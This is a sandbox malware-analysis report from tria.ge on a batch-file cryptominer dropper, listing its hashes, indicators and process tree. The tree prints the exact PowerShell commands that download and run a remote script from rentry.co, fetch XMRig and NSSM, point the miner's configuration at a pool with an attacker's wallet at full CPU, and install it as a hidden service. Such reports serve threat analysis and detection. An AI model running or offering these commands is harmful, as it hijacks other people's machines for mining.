Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
857s -
max time network
1050s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
30/06/2024, 17:05
Static task
static1
Behavioral task
behavioral1
Sample
226015586279.bat
Resource
win10-20240404-en
General
-
Target
226015586279.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral2/files/0x000700000002326e-64.dat family_xmrig behavioral2/files/0x000700000002326e-64.dat xmrig behavioral2/memory/2420-67-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-202-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-203-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-204-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-205-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-206-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-207-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-208-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-209-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-210-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-211-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-212-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-213-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-214-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-215-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-216-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-217-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-218-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-219-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-220-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-221-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-222-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-223-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-224-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-225-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-226-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-227-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-228-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-229-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-230-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-231-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-232-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-233-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-234-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-236-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-237-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-238-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-239-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-240-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-241-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-242-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-243-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-244-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-245-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-246-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-247-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-248-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-249-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-250-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-251-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-252-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-253-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-254-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-255-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-256-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-257-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-258-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-259-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-260-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-261-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-262-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/2212-263-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 6 IoCs
flow pid Process 7 4392 powershell.exe 17 1152 powershell.exe 23 1404 powershell.exe 25 1940 Process not Found 31 1940 Process not Found 35 1940 Process not Found -
Executes dropped EXE 9 IoCs
pid Process 2420 xmrig.exe 5428 nssm.exe 5756 nssm.exe 2244 nssm.exe 5772 nssm.exe 560 nssm.exe 1716 nssm.exe 5924 nssm.exe 2212 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 16 raw.githubusercontent.com 17 raw.githubusercontent.com 23 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5416 sc.exe 5388 sc.exe 2244 sc.exe 5100 sc.exe -
pid Process 3540 powershell.exe 4392 powershell.exe 1152 powershell.exe 5900 powershell.exe 3964 powershell.exe 4248 powershell.exe 5384 powershell.exe 3564 powershell.exe 4824 powershell.exe 2884 powershell.exe 3800 powershell.exe 3960 powershell.exe 1404 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 2720 timeout.exe 3964 timeout.exe 1972 Process not Found 3232 timeout.exe 1168 timeout.exe 3540 timeout.exe 1380 timeout.exe 4588 timeout.exe 2416 timeout.exe 556 Process not Found 6092 timeout.exe 1508 Process not Found 4376 timeout.exe 4680 timeout.exe 1968 timeout.exe 116 timeout.exe 3872 Process not Found 496 Process not Found 3064 Process not Found 1164 timeout.exe 3236 timeout.exe 564 timeout.exe 4360 timeout.exe 184 timeout.exe 820 timeout.exe 4200 timeout.exe 1136 timeout.exe 4656 timeout.exe 2232 Process not Found 1936 Process not Found 2056 timeout.exe 2036 timeout.exe 5164 timeout.exe 4628 timeout.exe 3160 timeout.exe 440 timeout.exe 5880 Process not Found 1684 timeout.exe 5256 timeout.exe 4868 timeout.exe 6116 timeout.exe 4700 Process not Found 876 Process not Found 6056 Process not Found 3236 Process not Found 5348 timeout.exe 1836 timeout.exe 4036 timeout.exe 3048 timeout.exe 4192 Process not Found 3540 timeout.exe 1720 Process not Found 4188 Process not Found 4768 timeout.exe 3564 timeout.exe 5772 Process not Found 5372 timeout.exe 216 timeout.exe 3516 Process not Found 5040 timeout.exe 4560 Process not Found 5060 timeout.exe 560 timeout.exe 216 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 5632 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 4392 powershell.exe 4392 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 5900 powershell.exe 5900 powershell.exe 5900 powershell.exe 3960 powershell.exe 3960 powershell.exe 3960 powershell.exe 5384 powershell.exe 5384 powershell.exe 5384 powershell.exe 3964 powershell.exe 3964 powershell.exe 3964 powershell.exe 3564 powershell.exe 3564 powershell.exe 3564 powershell.exe 4248 powershell.exe 4248 powershell.exe 4248 powershell.exe 4824 powershell.exe 4824 powershell.exe 4824 powershell.exe 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe 3800 powershell.exe 3800 powershell.exe 3800 powershell.exe 1404 powershell.exe 1404 powershell.exe 1404 powershell.exe 3540 powershell.exe 3540 powershell.exe 3540 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 676 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4392 powershell.exe Token: SeDebugPrivilege 5632 taskkill.exe Token: SeDebugPrivilege 1152 powershell.exe Token: SeDebugPrivilege 5900 powershell.exe Token: SeDebugPrivilege 3960 powershell.exe Token: SeDebugPrivilege 5384 powershell.exe Token: SeDebugPrivilege 3964 powershell.exe Token: SeDebugPrivilege 3564 powershell.exe Token: SeDebugPrivilege 4248 powershell.exe Token: SeDebugPrivilege 4824 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 3800 powershell.exe Token: SeDebugPrivilege 1404 powershell.exe Token: SeDebugPrivilege 3540 powershell.exe Token: SeLockMemoryPrivilege 2212 xmrig.exe Token: SeIncreaseQuotaPrivilege 3732 WMIC.exe Token: SeSecurityPrivilege 3732 WMIC.exe Token: SeTakeOwnershipPrivilege 3732 WMIC.exe Token: SeLoadDriverPrivilege 3732 WMIC.exe Token: SeSystemProfilePrivilege 3732 WMIC.exe Token: SeSystemtimePrivilege 3732 WMIC.exe Token: SeProfSingleProcessPrivilege 3732 WMIC.exe Token: SeIncBasePriorityPrivilege 3732 WMIC.exe Token: SeCreatePagefilePrivilege 3732 WMIC.exe Token: SeBackupPrivilege 3732 WMIC.exe Token: SeRestorePrivilege 3732 WMIC.exe Token: SeShutdownPrivilege 3732 WMIC.exe Token: SeDebugPrivilege 3732 WMIC.exe Token: SeSystemEnvironmentPrivilege 3732 WMIC.exe Token: SeRemoteShutdownPrivilege 3732 WMIC.exe Token: SeUndockPrivilege 3732 WMIC.exe Token: SeManageVolumePrivilege 3732 WMIC.exe Token: 33 3732 WMIC.exe Token: 34 3732 WMIC.exe Token: 35 3732 WMIC.exe Token: 36 3732 WMIC.exe Token: SeIncreaseQuotaPrivilege 3732 WMIC.exe Token: SeSecurityPrivilege 3732 WMIC.exe Token: SeTakeOwnershipPrivilege 3732 WMIC.exe Token: SeLoadDriverPrivilege 3732 WMIC.exe Token: SeSystemProfilePrivilege 3732 WMIC.exe Token: SeSystemtimePrivilege 3732 WMIC.exe Token: SeProfSingleProcessPrivilege 3732 WMIC.exe Token: SeIncBasePriorityPrivilege 3732 WMIC.exe Token: SeCreatePagefilePrivilege 3732 WMIC.exe Token: SeBackupPrivilege 3732 WMIC.exe Token: SeRestorePrivilege 3732 WMIC.exe Token: SeShutdownPrivilege 3732 WMIC.exe Token: SeDebugPrivilege 3732 WMIC.exe Token: SeSystemEnvironmentPrivilege 3732 WMIC.exe Token: SeRemoteShutdownPrivilege 3732 WMIC.exe Token: SeUndockPrivilege 3732 WMIC.exe Token: SeManageVolumePrivilege 3732 WMIC.exe Token: 33 3732 WMIC.exe Token: 34 3732 WMIC.exe Token: 35 3732 WMIC.exe Token: 36 3732 WMIC.exe Token: SeIncreaseQuotaPrivilege 1092 WMIC.exe Token: SeSecurityPrivilege 1092 WMIC.exe Token: SeTakeOwnershipPrivilege 1092 WMIC.exe Token: SeLoadDriverPrivilege 1092 WMIC.exe Token: SeSystemProfilePrivilege 1092 WMIC.exe Token: SeSystemtimePrivilege 1092 WMIC.exe Token: SeProfSingleProcessPrivilege 1092 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2212 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3812 wrote to memory of 4392 3812 cmd.exe 92 PID 3812 wrote to memory of 4392 3812 cmd.exe 92 PID 4392 wrote to memory of 3556 4392 powershell.exe 347 PID 4392 wrote to memory of 3556 4392 powershell.exe 347 PID 3556 wrote to memory of 4572 3556 cmd.exe 94 PID 3556 wrote to memory of 4572 3556 cmd.exe 94 PID 4572 wrote to memory of 5048 4572 net.exe 95 PID 4572 wrote to memory of 5048 4572 net.exe 95 PID 3556 wrote to memory of 772 3556 cmd.exe 96 PID 3556 wrote to memory of 772 3556 cmd.exe 96 PID 3556 wrote to memory of 5608 3556 cmd.exe 97 PID 3556 wrote to memory of 5608 3556 cmd.exe 97 PID 3556 wrote to memory of 5416 3556 cmd.exe 125 PID 3556 wrote to memory of 5416 3556 cmd.exe 125 PID 3556 wrote to memory of 5392 3556 cmd.exe 99 PID 3556 wrote to memory of 5392 3556 cmd.exe 99 PID 3556 wrote to memory of 5452 3556 cmd.exe 394 PID 3556 wrote to memory of 5452 3556 cmd.exe 394 PID 3556 wrote to memory of 5388 3556 cmd.exe 101 PID 3556 wrote to memory of 5388 3556 cmd.exe 101 PID 3556 wrote to memory of 2244 3556 cmd.exe 190 PID 3556 wrote to memory of 2244 3556 cmd.exe 190 PID 3556 wrote to memory of 5632 3556 cmd.exe 426 PID 3556 wrote to memory of 5632 3556 cmd.exe 426 PID 3556 wrote to memory of 1152 3556 cmd.exe 105 PID 3556 wrote to memory of 1152 3556 cmd.exe 105 PID 3556 wrote to memory of 5900 3556 cmd.exe 106 PID 3556 wrote to memory of 5900 3556 cmd.exe 106 PID 3556 wrote to memory of 3960 3556 cmd.exe 107 PID 3556 wrote to memory of 3960 3556 cmd.exe 107 PID 3556 wrote to memory of 2420 3556 cmd.exe 210 PID 3556 wrote to memory of 2420 3556 cmd.exe 210 PID 3556 wrote to memory of 948 3556 cmd.exe 111 PID 3556 wrote to memory of 948 3556 cmd.exe 111 PID 948 wrote to memory of 5384 948 cmd.exe 551 PID 948 wrote to memory of 5384 948 cmd.exe 551 PID 5384 wrote to memory of 3884 5384 powershell.exe 211 PID 5384 wrote to memory of 3884 5384 powershell.exe 211 PID 3556 wrote to memory of 3964 3556 cmd.exe 563 PID 3556 wrote to memory of 3964 3556 cmd.exe 563 PID 3556 wrote to memory of 3564 3556 cmd.exe 116 PID 3556 wrote to memory of 3564 3556 cmd.exe 116 PID 3556 wrote to memory of 4248 3556 cmd.exe 117 PID 3556 wrote to memory of 4248 3556 cmd.exe 117 PID 3556 wrote to memory of 4824 3556 cmd.exe 590 PID 3556 wrote to memory of 4824 3556 cmd.exe 590 PID 3556 wrote to memory of 2884 3556 cmd.exe 119 PID 3556 wrote to memory of 2884 3556 cmd.exe 119 PID 3556 wrote to memory of 3800 3556 cmd.exe 761 PID 3556 wrote to memory of 3800 3556 cmd.exe 761 PID 3556 wrote to memory of 1404 3556 cmd.exe 122 PID 3556 wrote to memory of 1404 3556 cmd.exe 122 PID 3556 wrote to memory of 3540 3556 cmd.exe 800 PID 3556 wrote to memory of 3540 3556 cmd.exe 800 PID 3556 wrote to memory of 5100 3556 cmd.exe 124 PID 3556 wrote to memory of 5100 3556 cmd.exe 124 PID 3556 wrote to memory of 5416 3556 cmd.exe 488 PID 3556 wrote to memory of 5416 3556 cmd.exe 488 PID 3556 wrote to memory of 5428 3556 cmd.exe 188 PID 3556 wrote to memory of 5428 3556 cmd.exe 188 PID 3556 wrote to memory of 5756 3556 cmd.exe 340 PID 3556 wrote to memory of 5756 3556 cmd.exe 340 PID 3556 wrote to memory of 2244 3556 cmd.exe 625 PID 3556 wrote to memory of 2244 3556 cmd.exe 625
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\226015586279.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFCAF.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:4572 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:5048
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:772
-
-
C:\Windows\system32\where.exewhere find4⤵PID:5608
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:5416
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:5392
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:5452
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:5388
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2244
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5632
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:2420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5384 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:3884
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3964
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3564
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Oailvcny\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4248
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3540
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:5100
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:5416
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:5428
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:5756
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:2244
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:5772
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:560
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:1716
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3596
-
-
